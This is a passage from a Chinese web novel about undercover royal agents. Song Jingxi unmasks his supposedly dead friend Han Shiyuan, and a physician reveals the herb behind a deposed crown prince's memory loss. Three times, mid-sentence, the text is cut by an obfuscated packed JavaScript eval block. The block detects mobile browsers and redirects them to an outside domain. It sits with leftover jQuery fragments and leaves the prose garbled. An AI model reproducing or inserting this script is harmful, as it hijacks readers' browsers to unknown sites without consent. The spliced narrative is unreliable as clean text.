巡逻队提着的灯火越来越近了,一共五个人,每个人手里都握着棍棒,已经就在小别院门外了。这时候要么翻回去,要么翻进药材仓库里。宋景熙选择了后者,他小心翼翼地推开窗户,然而手指刚碰到窗身,整个窗户居然咯吱了一声,随即毫不留情地从窗框脱落,作势砸向地面。 宋景熙本能反应地接住脱离窗檐的窗户,但他又很快反应过来,窗户咯吱咯吱的声音已经足够吸引巡逻队的注意了。 果不其然,一名仆役道:“什么动静?” 另一名提着灯火的仆役朝声源的方向照了照,道:“不会是仓库那边有人进来了吧?万一又被人闯进来了,金老爷可饶不了我们,走,去看看去!” 宋景熙握着窗户的掌心微微发汗,但当听到第二名仆役的话时,他整个人顿了一瞬。 又?这名仆役的意思是金宅已经被人闯入过一次了?而且看来就是不久之前的事,否则金哲不会深更半夜了不仅房中未熄灯,还让府中仆役看守巡逻,简直是草木皆兵了。 那么究竟是谁先他一步“拜访”了金宅呢? 其实这个人,宋景熙差不多已经猜到了,只是他需要一个时机来验证自己的猜想,现下,就是最好的时机。 看招! 宋景熙抡起胳膊,在巡逻队走进小别院的一瞬间,将手中的窗户整个丢了出去。飞掷出去的窗户精准地朝巡逻小队砸去,巡逻队的仆役们被突如其来的窗户纷纷定在原地,等到他们反应过来时,看见从窗户飞来的方向,一道灵巧的人影已经从他们的侧边飞奔过去,几乎是一瞬间便翻墙而逃。 仆役当即大喊道:“有贼人!” 与此同时,宋景熙已经拼命朝金哲所在的内院奔去了。那边在仓库的巡逻队一声大喊,将另外一队在内院的巡逻队也吸引了过来,两边队伍一前一后朝他夹击而来。后面的人还追上他,前面已经迎面碰上四五人,金哲也惊慌地从房中走了出来,指着一身黑衣、戴着面罩的宋景熙叫道:“抓住他!” “都给我抓住他!别让他跑了!” 不多时,宋景熙便被团团截住,无路可走了,除非他会飞。哐的一声,宋景熙从背后抽出刀,拿刀指着面前一圈人,众仆役见他手中有刀,而他们自己却是削削砍砍出来的杀伤力并不强的棍棒,也都犹豫着不敢上前,一圈人登时陷入对峙状态。 金哲喊了好几遍抓住他,就是没人敢上。这不是废话吗,仆役身份虽然是低贱了点,但他们又不是卖命的,凭啥拿着微薄的薪水还干死士的事? 金哲看这些人实在不敢上,又怕闯入者跑掉了,愤愤地甩袖转身进屋,回来时居然也拿了一把刀出来。金哲推开一个仆役,拿刀指着面前的宋景熙质问道:“妈的!你是谁家派来的?老子的药铺是不是你们放火烧的!” 宋景熙露出凶恶的眼神,道:“少废话!”说罢,便朝金哲冲了过去。 金哲吓得连连退了好几步,说白了,他手上虽然有刀,但也不敢正面打,他是个文官,又不是什么练家子,连鸡都没杀过,怎么敢和人拿刀剑拼命。他只能拙劣地拿手上的刀挡来挡去。但很快他就发现,眼前这名闯入者的攻势虽然看上去很猛,但实际上是个花架子,不仅能被他轻松躲过,而且只要他拿刀挡回去,对方的刀就会被弹开。总而言之,根本伤不到他啊! 发现这一点的金哲瞬间亮了眼睛,欣喜大喊道:“这家伙不行!快一起上,打他!” 仆役们也发现闯入者似乎并没有多强,打了半天也没伤到人,连金老爷都能招架住,他们还有什么不敢上的?听了金哲的发号施令,纷纷聚成一团,四面八方地举起棍子,朝中间的宋景熙砸去。 然而,他们的棍子根本没能碰到宋景熙分毫,棍子头还举着朝向上空,未能砸下来时,突然间,众人看见在他们脑袋上空从天而降一波冷厉的箭矢,如一阵暴雨朝他们袭来,吓得人面容失色,不过这些箭矢并未伤他们分毫,而是箭簇直直地插在地上,钉在每个仆役的足前,这似乎起到了拦住仆役们上前的作用。 一众人大惊失色,原来闯入者还有帮手!纷纷朝箭矢飞来的方向看去。 那里没有他们想象的一群弓箭手,只有一个人。和闯入者宋景熙一样的一身黑,一样的衣服,甚至戴着一样的面罩。 这黑衣人身姿颀长,身着束腰劲装,因一身墨色而混入泼天夜色。发丝被一丝不苟地用网巾收起,额上还绑着一条五指宽的黑带覆住网巾,腕上同样用两条与额上束带一样宽的布条绑紧袖口,显得整个人干净利落,十分适合...杀人放火。 一见此人,金哲暗骂一声遭算计了,穿的衣服都这么像,这不是同伙是什么?他素来结仇多,无论是官场还是商场,讨厌他的人一抓一大把,上次药铺被烧,他就怀疑是仇家报复,这次肯定也是!如果是被他得罪的最狠的那家派来的人的话,杀了他也不是不可能,这么想着,金哲又开始不安起来,尤其是当他看见这名黑衣人径直朝他而来的时候,更是害怕的连握着刀的手都在抖。 金哲害怕地叫道:“快!快拦住他!” 仆役们见这名突然出现的黑衣人手中没有任何刀剑武器,皆是心一横,捏着棍棒试图拦住黑衣人,然而,还没能近得了黑衣人的身,又是一道箭雨落下,斜插在他们脚边,警告的很明显,再敢上前一步,脚丫子可就不保了! 又出乎他们意料的是,黑衣人的目标并不是金哲,而是中间站着的...宋景熙。黑衣人路过一名提着灯的仆役时,顺手抢了过来,随即走到宋景熙面前,抓住宋景熙的手臂,将人直接带走了。 金哲和仆役有追的心思,却没有追的能力,因为只要他们敢迈出一步,立刻便会有箭矢飞到脚边,让他们不得不呆在原地,不敢有所动作。 就这样,宋景熙被黑衣人拉着,大摇大摆地走向前院。他虽然是被黑衣人抓着手臂带过去的,但很明显能感觉到黑衣人并没有用劲,而是轻轻地握住他的小臂,好似牵手一般。 宋景熙也自觉地跟着他走,并且紧紧盯着黑衣人的背影。黑衣人手中的提灯虽然没有多亮,但也足够让他看清黑衣人的背影了。 出了正门后,再走远了点,黑衣人便松开了手。宋景熙一把扯掉脸上的面罩,大口吸了两口气,再不摘掉面罩,他可能就会喘不上气来了——不是面罩让他呼吸不顺,而是因为剧烈的心跳使他几乎要窒息。 黑衣人仍然提着灯往前走,虽然缓着步子,却没有停下来的意思。宋景熙盯着他,捂着心口,跟着走了几步,感觉自己还是喘不上气,眼见黑衣人离自己越来越远,略有些着急地唤道:“...你,你是谁?” 黑衣人转过半个身子,一双深色的眸子注视着他,声线平稳而低沉:“你怎么了?” 宋景熙的呼吸急促,他右手攥在胸前,尽量恢复正常的语气,一字一顿地问道:“你是谁?” 黑衣人不回答他的问题,他也就不会回答黑衣人的问题。宋景熙只是直勾勾地盯着黑衣人的眼睛,仿佛能从这双眼睛里看出他的身份。黑衣人淡声道:“曳扇台的人。你有危险,来救你。” 宋景熙没有继续说话,而是一步步走近黑衣人,走得近了,黑衣人居然身体后倾,有退后的意思。宋景熙立刻道:“别动!” 他说的话很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773758|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效,黑衣人果然不动了。宋景熙逼近黑衣人,随即以极快的速度伸手扯向黑衣人脸上的面罩。几乎是在宋景熙抬手的瞬间,黑衣人的身形也有后退躲过的动作,但他同时也定住了,没有后退,以至于宋景熙轻易地将他的面罩取了下来。 面罩底下是一张俊美非常的面孔,鼻梁挺拔,朗目疏眉,分明生了一副倜傥的相貌,却因眸色至深至暗,仿若深潭,琢磨不清,让人生不出调笑之意。品之尝之,如似曲高和寡之味。 这样的面容,宋景熙一辈子也不会忘记。他失声道:“...韩时元。” 那夜在存善堂,他和洪丹闲聊时他口中所说的,那位...师兄。那位和老师一起,被所有人认为已经死在眉寿山山火里的“师兄”。 被他叫出名字,韩时元也没有否认,闷着嗓子回应道:“嗯。” 宋景熙哑然,好一会没有反应,心脏却剧烈跳动起来,如果不是两人之间隔着距离,否则在这个寂静的夜晚,他胸膛里疯狂鼓动的声音一定会被韩时元尽收耳中。 他真的没猜错。 他赌对了。 见宋景熙捂着胸口没有说话,韩时元便道:“怎么认出我的?” 宋景熙抬眼扫了眼韩时元,仿佛下定了什么决心,突然上前揪住韩时元的衣领,几乎是咬牙切齿地道:“我就知道是你,我就知道你和老师回来了!你们根本没死!我早就猜到了,你们拿我当什么了?我有这么容易糊弄吗?这么明显的破绽,还以为我没有看出来吗?!” 他所有的疑问,实际上代理官员并没有给他合理的解释,反而让他更加怀疑。明明距离山火已经六年之久了,假使老师和韩时元真的因为山火而尸骨无存,那王上却突然重启调查二十多年前的废世子案,这不是令人疑惑吗?既然又说存善堂的安排是王上的手笔,那明明已经调查过了,却还要他来负责,说是来考验他,可这根本就完全不似王上的作风,因为在王上的眼里,他宋景熙并不是一个什么值得重点培养的密使,从前那么多次机会能考验他,为何突然选中这一次,真的只是为了考验吗?还是说,有不得不由他负责的原因,这不是更加证明了曳扇台有事情瞒着他吗。 如果说这些还只是宋景熙凭空的猜想,那么他最怀疑的,最让他感到可疑的,其实是在第二次去往群芳馆时,在路上碰到的那个偷了他钱袋的男孩。他一直记得那孩子所说的那句话:“有人在跟着你。”那男孩说,而且,那人还一直在看着他。 起初听到这句话只觉得是男孩胡乱说来吓唬他的,但后来李澄突然出现在群芳馆后,宋景熙又觉得男孩口中说的那人是李澄,然而李澄却亲口对他说:是因为打听到他宋景熙经常光顾群芳馆,所以才出现在群芳馆守株待兔。这么说来,那人就不可能是李澄,以他对李澄的了解,李澄只要看见他,便不会沉住气来跟踪他,更不会“一直”。 那么这个人究竟是谁,就很值得琢磨了。倘若不是李澄说了谎话,宋景熙自认为又没有仇家,没有值得被监视的缘由,而后来代理官员却说金哲案是用来考验他能力的一场计划。那么便能推测曳扇台考虑到此任务的危险性,因为担心他的安危,便特意安排了人暗中跟踪保护他。至于这个人是谁,很可能是和他一样,是曳扇台的密使。 韩时元也是曳扇台的密使。 宋景熙在赌。他在赌老师和韩时元真的没死,真的回来了。他在赌,赌跟踪保护他的密使就是韩时元。他在逼,故意在金宅引起正面冲突,故意和金哲打起来,故意不胜武力败于下风,故意让自己陷入危险,以此逼迫暗中跟踪保护他的人露面。 这样,他就可以确定,跟踪他、保护他的人究竟是谁,究竟是不是韩时元。 宋景熙攥着韩时元衣领的手越来越用力,用力到指尖已经毫无血色,连唇色也发着白,“为什么不告诉我?为什么瞒着我?还活着,为什么不说!你说话!你知不知道我找了你们多久??我把老师当长辈,我把你当朋友,你们就这么对我!回来了也要瞒着我,让我猜!究竟把我当成什么了!有什么不能告诉我的?非要瞒着我,六年!” 他几乎要把韩时元给勒死,说实在的,他就是很想直接给韩时元一拳,而且是照着他的脸,揍到头破血流才好,这样他才解气。但他没这样做。 他神色间满是愤怒,盯着韩时元的双眸,四目相对。他本以为自己会从韩时元的眼睛中看到愧疚,然而他却看到了满眼的哀伤。这倒是让宋景熙懵了,该悲伤的难道不是他吗? 韩时元的声音干涩无比:“...对不起。只是现下一时半会解释不清,我们...先走。” 宋景熙道:“去哪?去找老师?” 韩时元沉沉颔首。 默然片刻后,宋景熙缓缓松开手:“可以。你带路。” 10. 解忧其五 韩时元带他去的地方,不是别处,正是存善堂。 和金宅一样,此时的存善堂灯火通明,院内却没有任何人——一名病患也没有。只有内堂亮着。 宋景熙原本跟在韩时元身后,此刻他率先上前,推开房门,步入内堂。内堂有三个房间,中间是药房,左右各是一间卧房,卧房门关着。上次宋景熙进入的便是药房,洪医官和洪英此刻正在药房当中,和上次的位置一模一样,一个坐着,一个站着。 见两位熟人进来,洪医官便心知事情进展得很顺利,自然而然地道:“宋公子...” 然而,宋景熙直接忽略了药房中的所有人,径直走向左侧卧房,猛地推开房门。 这间卧房里没人。 宋景熙又换了个方向,走向右侧卧房。对于来势汹汹的宋景熙,洪英感到很疑惑:“宋......” 跟在宋景熙身后的韩时元递给洪英和洪医官一个无奈的眼神,轻轻摇了摇头。 推开右侧卧房的房门,一名白袍中年男子正坐在房中,神色悠闲地翻阅着一本书,手里还握着一杆烟斗,时不时吸上一口,享受在乐趣之中。房门被推开,男子抬头露出惊喜的神情,道:“哎呀!是景熙来了啊!怎么突然...啊!” 李珘话还没说完,宋景熙就抢过他手上的烟斗,气势凶恶朝他砸了过来。 李珘被打得抱头鼠窜,叫道:“住手住手!欺师灭祖了啊!”他喊得凶险,实际上宋景熙手上的烟斗根本没砸到他。 宋景熙气愤地道:“打的就是您,您眼里还有没有我这个徒弟!” “怎么没有...你这个逆徒,你眼里还有没有我这个老师??一见面就打!啊啊啊别打了救命啊!时元救我啊!!”李珘这样扯着嗓子叫嚷着,然而根本没有人来救他,韩时元只是站在一旁,微微侧头,虽然面无表情,但眸中私有笑意地看着打李珘被打。 没人救他,李珘只好极其迅速地躲到角落,背靠墙壁,做出一副焦急的表情,道:“景熙好徒儿!你先冷静,听为师解释解释!” “好啊!”宋景熙只是心里气愤,也没有真想揍李珘一顿,毕竟于礼不合。他将烟斗塞回李珘手上,扯出一个状似哭脸的笑,道:“请您好好解释清楚,究竟是怎么回事?” 李珘朝宋景熙和门口的韩时元都挥了挥手,示意他们坐过去。宋景熙果然冷静地坐了下来,韩时元也将门关上,坐了过去。等两人按照他的指示并排坐下,李珘悠然自得地坐回原位,坐到了宋景熙的对面。 他装模作样地咳了两声,正色道:“唉,景熙,其实不是为师不想告诉你,只是那时有些事情我们没法控制,我也不得不对你隐瞒我和时元的消息,让你误以为我们因山火而死了。我也知道你一直在找我们,但我们那时不能现身......” 宋景熙道:“原因呢?”他扫了李珘和韩时元一眼,“不管当年有何苦衷,既然现在回来了,总该告诉我了吧?” “......哎呀。”李珘道:“这要是解释起来相当麻烦,总之山火没能将我和时元烧死,之后我和时元离开汉阳,去了庆尚,不久前才回到汉阳,至于原因......现下还不是时候,不若往后有机会再谈论谈论,如何?等等!先别拍桌子!好徒儿你得相信为师不是为师不说而是现下的确有要紧之事加身我和时元也正是因为这件要紧事才回来的这件要紧事就是废世子之案!” 李珘按住宋景熙要掀的桌子,一口气说了一连串,说完仿佛灵魂出窍般朝天上吐了一口气,吐完了继续道:“景熙你看外面那两位...”他神神秘秘地伸出一根手指头朝上,慢慢挪向药房的方向。很明显他指的是药房那边的洪医官和洪英。 “这两人,现下算是曳扇台的同伙。和我们一样,都是为了弄清楚废世子案的真相,既然如此,就不要让他们等太久了嘛,只有这件案子解决了,一切才会真正尘埃落定,届时便不会有任何秘密被隐瞒。景熙啊,其实代理官员他有一点没骗你,重启对废世子案的调查的确是主上的主意,正是这个原因,主上才会我召回汉阳。而想要解决废世子案,便少不得存善堂的协助,你可知是什么原因?” 宋景熙沉默一番,先是在思考李珘和韩时元是否是有何不得不说的苦衷,然后思考李珘的提问,半晌后,他才开口认真答道:“因为,解忧草?他们和金哲的解忧草有干系。解忧草,和您有干系。” 李珘道:“和我有何种干系?” 宋景熙道:“那日我询问洪医官他服用解忧草后是否有其它症状,洪医官回答——遗忘。您当年不也是这样的症状吗?”他说最后一句话时,因担心被房间外的洪医官和洪英两人听见,便将声音压得极低。 李珘点头道:“不错,正是如此。这就是为何存善堂能和曳扇台在一条线上的原因了。我自回汉阳之后,便奉王命重新调查废世子案,既是重新,便要从头。可惜你也知道的,当年都未能查清楚的事,过了二十多年再想要查个明白,不可谓不是难如登天。但不论怎样,该查的还是得查。我翻阅先王留下的档案时,便决定从当年审过的人入手,但凡是还没死的,或留有后人的,如今都翻来审一遭。而这竟没让我费多大力气,因为我第一个找上的就是存善堂,毕竟在当年,嫌疑最大的就是洪家人。” 世子的遗忘之症愈发严重时,先王也怀疑过是奸人毒害所致,因此无论是大小官员还是王宫中人,皆被调查了个遍。其中最受到怀疑、遭受了最多拷问的,便是世子的贴身御医:洪御医。洪御医起初并非世子身边之人,只是内医院一名兢兢业业却名不见经传的医官。然而在世子出现头痛之症后,内医院的诸多御医却都束手无策之时,世子嫔力荐一人为世子治疗,此人便是洪御医。洪御医作为世子嫔的同乡而受到信任,又因其医术的确高明,每每为世子治疗之时,竟多能替世子解头痛之苦,因此久而久之,洪御医便得到了世子的信任和依赖,被晋为世子的贴身御医。 然而信赖是没有免死免审问的奇效的。世子出事后,首位被问责的往往就是最亲信的。尽管洪御医是在世子出现头痛之症后才奉命为世子治疗,此前一直未能接触过世子,但当先王决定调查时,首当其冲的依旧是洪御医。为了方便审讯洪御医,不让其家人影响到审讯,洪御医的家人被悉数缉拿下狱,而洪御医本人则被押送至鞫审厅,十八般官员轮番上阵,甚至先王也亲自上场,用尽了所有手段,让洪御医吃尽了苦头,洪御医也没吐露出任何罪证。 之后,先王因病痛缠身,考量到稳定朝纲而不得不改立世子,此后整个朝廷的重心倾向了新世子。一年多后,也就是先王死前半年,下令释放洪御医。 被关押两年之久,重获自由后,洪御医离开了内医院,归乡务农行医。然而又是不到一年后,洪御医于山间采药之时,因不甚脚滑而摔下悬崖,当场身亡。这被不少人怀疑洪御医是被杀人灭口,其背后一定有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773759|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人指使。但很快这个猜测也被否认了,否认之人正是洪御医的亲弟弟,洪医官。 洪医官原本也在宫中内医院当差,只是由于经验不丰,级别并不高。洪御医被抓时,洪医官也受到牵连被一并抓去审问,但洪医官和洪御医一样,什么也没招。由于洪医官从头到尾都未接触过世子,一直在内医院打杂,所以很快便被排除了嫌疑,审问无果后便被长期关押了。洪御医被释放时,其家人也被一并释放,洪医官当然在之列,并且跟随洪御医一起辞官归了乡。 面对众人对洪御医坠崖身亡的质疑,按洪医官的说法,便是那时他与兄长洪御医在山间采药,洪御医看上了长在崖壁上的一株药草,为了得到它,不惜身套绳索,攀下岩壁去采,却不幸因脚下石头掉落而踩空,尽管洪医官极力拉住绳索,但绳索却因岩壁磨损而导致断裂,洪御医因此不幸坠下悬崖,当场身亡。 崖边挣扎的痕迹和两截从中断掉的绳索能证实洪医官的说法,而洪医官本人为了救下兄长,不甚磕破膝盖,落下终身残疾。 李珘道:“当年先王审的最狠、最久的,只有洪御医一人。也难怪他嫌疑最大,那年内医院众多御医,只有他能医治我的头痛之症,偏偏又是在他为我医治之后,我才出现遗忘之症。然而我如今想再调查他,他坟上的草已经长得比碑还要高了。所幸他弟弟洪医官还没死,还开了家医馆。不从洪医官这里着手,还有别的机会吗?景熙你尚在江原道时,我便拜访了存善堂。” 宋景熙道:“所以,洪医官交代了什么?居然能成为我们的同伙,从过往来看...洪医官的嫌疑似乎也很大。此人...真的可信吗?” 李珘抽了一口烟,哈哈道:“你觉得不可信,巧了,我和时元原本也这么觉得。小子,你说对吧?” 宋景熙扭头看向韩时元,后者原本正托着下巴,手肘撑在桌上,一副百无聊赖的模样,见他看过来,竟端正了坐姿,开口道:“......对。在废世子案上,存善堂的立场与我们一致。” 宋景熙偏头道:“为何这么说?” 李珘道:“那时我来到存善堂,方说明来意,洪医官便当即表示愿意为调查废世子案倾尽全力配合,我那时对于他这样快就答应感到很诧异,毕竟在先王留下的档案里,洪医官受到审问时一直秉持着他们和废世子案无关的立场,从他的视角来看,不仅无关,还无辜遭受了牵连,害得半个家破人亡,我以为他本不应该配合我的调查才对,于是我便向其说明了废世子病时的两大症状:愈发严重的头痛和遗忘,以及这两者的诸多细节,这些细节虽是我亲身所历,却从未披露出去过。不成想洪医官听罢,竟露出万分吃惊的神情,随后从卧房里拿出一个盒子,这盒子打开后,里面不是别的,正是解忧草。” 宋景熙道:“等等,我记得洪医官对我说,他已经让洪英将解忧草悉数销毁了?” 韩时元淡声道:“他骗你的。” “......”宋景熙忽然变得没好气道:“是啊,都骗我,你们也没好到哪里去,不是吗?都合伙起来骗我。” 李珘抹了把不存在的汗,嘿嘿一笑:“这是为了考验你呀,哪里能说是骗呢...诶等等先别拔刀!冷静!冷静,且听为师说完。那解忧草的草本虽然尚存,可惜已经十分干瘪,几乎没有任何汁液了,连气味也淡不可闻,然而只是这淡到几乎闻不到的气味,却让我凭空生出来恐惧,那种和当年一模一样的恐惧。” 11. 解忧其六 不出意外的话,李珘应该永远不会忘记那样的感觉。 被废后,废世子李珘被送到离宫养病,一段时日后,头痛和遗忘之症皆有所减轻,并且开始想起一些人来,虽然总是时好时坏,始终难以痊愈,但无论如何,他在恢复。这让知道李珘在离宫养病的人都不禁怀疑,到底是那样远离宫廷和朝廷的生活使他恢复了,还是隔绝的环境使毒害他的人再也害不到了。然而好景不长,在离宫住得久后,李珘竟然开始出现了梦魇的症状。这是从前从来没有过的。 每每在梦中,他便会回到四四方方的宫墙里,有时是在王宫,有时又是在离宫。宫里没有旁人,只有无脸之人。 这些无脸之人穿着或侍卫大臣、或内侍内官、或宫女尚宫的衣服,有着人的躯体,却没有五官。无论梦中李珘走在哪里,那些空荡荡的脸庞总是对着他。虽然没有眼睛,却好像一直在注视着他。无论他走到哪里,都会有无脸人跟着他,无论他躲到哪里,都会有无脸人找到他。 明明脱离了遗忘的魔爪,却又来到了新的地狱。 梦中的李珘受不了这种诡异的气氛,某一日起开始在宫中逃跑,试图找到可以逃出宫的方法,然而他跑的越快,无脸人出现的越频繁,甚至会从任何一个角落里钻出来,大概是这些人没有嘴,说不了话,所以只会上手,要将李珘给捉回去。每每被无脸之人围追堵截,逼得退无可退,惟有于梦中自尽方能醒来。大多数时候,李珘会选择一刀了断。 在长期梦魇折磨下,李珘变得惶惶终日,不知是从何时开始分不清现实和梦境,偶尔清醒之时,也会逐渐认为绝对是有人在害他。梦境和现实不同的是,他在梦中自缢,那些无脸人只会在他脚下看着,但在现实里自缢,会有很多双手将他托举下来。 直到有一天,李珘决定不再找一棵树吊死,而是继续逃。因为他害怕自己在分不清梦境和现实时真的在现实里自尽身亡了,虽然痛苦,但他还是不大想死的,他还有妻子儿女呢。大抵是逃的次数多了,运气使然,有一次他终于让无脸人追不上他,很快逃到了宫墙之外。 回头看,那些无脸之人站在宫墙下,明明没有宫墙那样高,却在墙檐露出半个脑袋,用没有眼睛的脸看着他。分明门就在那里,但那些人却没有走出来。宫外是灰茫茫的一片,远处却有一座岛越来越清晰。等他扭头再往宫外走的时候,他就醒了。 醒来后的李珘意识到宫中就是他的心结,他要离开这里。只有离开王宫,他才能活着。因而在某日短暂的清醒后,李珘决定出宫。他确信想害他的人无非是对他心生怨恨才痛下杀手,只要他离开这里就可以结束一切。他宁愿被刺杀身亡,也不愿遭受折磨而精神失常变成一个废人,他认真思考很久后,认为自己好不容易才重新想起妻子和儿女,要是再变成一个废人丈夫和废人父亲那还不如死了。他只怕那些人杀不了他,要杀他,就光明正大地杀了他吧。无论如何,他要出宫。 后来,他就被贬了,而且流放。 李珘道:“所以正是那样的感觉让我确信,眼前那所谓的解忧草正是当年害了我的罪魁祸首。而让我更加吃惊的是洪医官接下来说的话。只是这事说来复杂,不如洪医官自己说得明白,走,让洪医官再讲一次与你听。” 他站起来拍了拍手,毫不犹豫地走出卧房往药房去,宋景熙只好跟着走了出去,见李珘已经一屁股坐到洪医官旁边了。 李珘笑眯眯地招呼两人:“来坐!”又朝洪医官道:“对了洪兄,当时初次拜访,我说那解忧草很可能是奸人拿来毒害废世子的东西,你又说了什么来着?” 宋景熙坐到李珘对面,韩时元也默默将椅子拉出来,坐到宋景熙身旁。听洪医官道:“兄长的死是我亲眼所见、亲身所历,那时我比任何人都清楚兄长的死是一场意外,也原本一直坚持着这样的想法。然而不久后,英儿却让我改变了看法。” “那天本是个阴雨天。兄长说,雨后许多药草会冒出,正是采药的好时机。山间野兽颇多,我担心兄长对付不了,便选择同他一起上山采药。” “兄长一直在找一味药,用来治疗英儿。英儿是他的女儿,从小便难养,娘胎里带出来一怪病,一旦发作便咳血不止,只有兄长找的那一味药可以暂时治疗。为了那一味药,兄长不惜顶着危险攀下悬崖取材,却不幸丧生。由于这种药多生长在悬崖峭壁之上,以往兄长为了采集它也犯过不少险,那次失手,我只当是一场意外,之后便收养了英儿,当作我自己的女儿。” “收养英儿不到一年后,某日我发觉英儿居然已经很久没有咳过血了,也不如从前消瘦了。以往英儿即便喝了药,一旦劳累,便会久咳不止。可当时的英儿,不消说咳血,连咳嗽也很少了,根本就与寻常孩童并无二致,其它孩子怎样跑跳,英儿也就如何跑跳,并且不再需要服用一直依赖的那味药。彼时我才意识到不对劲。英儿的病我和兄长一样很清楚,那是娘胎里带出来的病,根本无法医治。但英儿却莫名痊愈了。我便问英儿这是怎么回事?英儿的回答更加让我震惊。” 正在此时,洪英端着一盘茶水走了过来,一边给桌边四人布茶,一边面无表情地道:“那个时候,我五六岁,每半月必须靠父亲给的药才能缓解咳症。那药很苦,我一直记得。后来父亲被释放后,便带我回了故乡。大概是在父亲坠崖前的四五日前,那天是月初,按惯例,父亲会给我喝药。但那日的药很不同,只有轻微的苦涩味道,更强烈的是一种难以描述的极其刺激的味道,似辣而非辣,服下后感觉有一团火在胸膛里燃烧。我问父亲这是什么药,父亲只说,治病的药。” 洪医官道:“我那时听了英儿的话后震惊不已,如若不是英儿的病自愈了,那便是兄长最后一次喂给英儿的那副药的原因,但前者显然不可能,因此只能是后者。可那副药,兄长是如何得知、又是如何得到那种药的,他从未对我提起过。” “有了这个疑问以后,我便想起兄长坠崖不久后,有位自汉阳而来的官员找到我,直言我兄长是做了坏事,畏罪自尽,自己跳下悬崖而亡。但当时我不相信兄长会抛下英儿,也的确亲眼见到兄长是意外跌落,更亲眼见到兄长死死抓着绳索拼命向我求救的模样,他的眼睛牢牢地盯着我,一直在对我说救救他。如果不是绳索被岩石磨破,我马上就能抓住他的手了。我将之说与那位汉阳官员,他也不知是否相信,总之不过几日便离开了。” “当时我对‘这是一场意外’的结论深信不疑,然而之后英儿的话让我明白或许一直以来我都想错了。既然兄长有了能够治好英儿的药,甚至已经用那药治好了英儿,为何还要冒险去山上寻那味老药?不惜攀下悬崖也要取到,这不是很令人费解吗?我开始重新思索汉阳官员的话,难道兄长的确如他所说,是畏罪自尽,故意跳崖?于是我将兄长留下来的遗物悉数再次整理一遍,试图寻找兄长是否留下了什么谜底。但我还是想错了,兄长留下来的东西干干净净,根本没有所谓的答案,他最后一次喂给英儿的那副药也没有任何提及。” 宋景熙反复捏握着陶土茶杯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773760|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外胚,一口没喝,显然洪医官讲述的故事已经将他完全吸引进去了,他拧着眉道:“说句冒昧的话,洪御医他...的确有很大嫌疑,既然您当年也已经意识到了这些,为何又不再去找到那位官员说明此事呢?也许那时事情便能解决了。” 洪英冷冷地道:“宋公子,那谁来保护我们的安危呢。” 宋景熙一愣。 “英儿。”洪医官道:“茶凉了,你再去热一热吧。” 宋景熙感觉指尖茶杯的温度还尚在,洪英一言不发地将桌上的茶杯全部收走,离开了内堂。 洪医官叹息道:“我自怀疑兄长死因并不简单之后,也有想过去找汉阳的那位官员。某一日我生起这样的心思后便收拾家当,打算趁着夜色赶赴汉阳,临出发前,却怎样都找不到英儿,直到三日后才在山中一处洞穴里找到英儿。英儿说,她醒来的时候就在这里了。我和乡人找到她时,山洞附近甚至有野狼伏守。乡人认为英儿是自己走丢,被野狼叼到巢穴了,所幸没被吃掉。但我却明白,这是警告。” “我终于明白,也许是兄长为了英儿而不得不做了一些事情,而又为了保护英儿而选择带着那伙人的秘密而死。如果他不死,那些人就不会放心。我想兄长并非是真的意外而亡,而是故意选择了那样的死法,并且不得不让我目睹,以打消我和世人对他的死的怀疑......” 说到这,洪医官的声音越来越小,身体不由自主地晃了晃,喃喃道:“...为何到了那个地步,还能演得如此精湛呢,可是你害怕的表情不似作假啊......” 洪医官捂着额头,不着痕迹地揉了揉眼睛,长吁一口气,定了好一会才继续道:“那些人,之所以不选择直接杀掉我和英儿,恐怕也只是担心引火上身,只是杀掉我兄长就如此费尽周章地不让人怀疑,若是将我和英儿也处理掉,只会更加惹人怀疑。但这并不代表他们不敢下手,所以只是警告我。继续调查真相只会将我和英儿置于死地,兄长为了英儿失去了性命,我也无法违背兄长的意愿让英儿背负着危险生活下去。所以我选择放弃真相。毕竟死去的人已经死去了,但活着的人还要活着。” “我本以为我也会带着秘密葬在土里,然而现在......”洪医官扫视一眼坐在面前的三人,道:“李大人却找到了我,虽然不是当年那位汉阳的官员,却胜似。既然能保障我和英儿、丹儿的安全,那我也就没什么后顾之忧了,我想废世子案的凶手也正是迫害了兄长的人,此案若能结果,对于你我来说都不是件坏事,我自然愿意配合各位对废世子案的调查。” 宋景熙看向李珘,李珘难得严肃着脸道:“事情差不多就是这样。所以,这就是为什么说我们是站在一起的原因。既然存善堂答应了曳扇台的请求,愿意闭馆并成为曳扇台的据点,那么曳扇台也应该付出点行动,为保证存善堂的安全,存善堂外可是有很多密使驻守的,一只鸟都飞进来......” 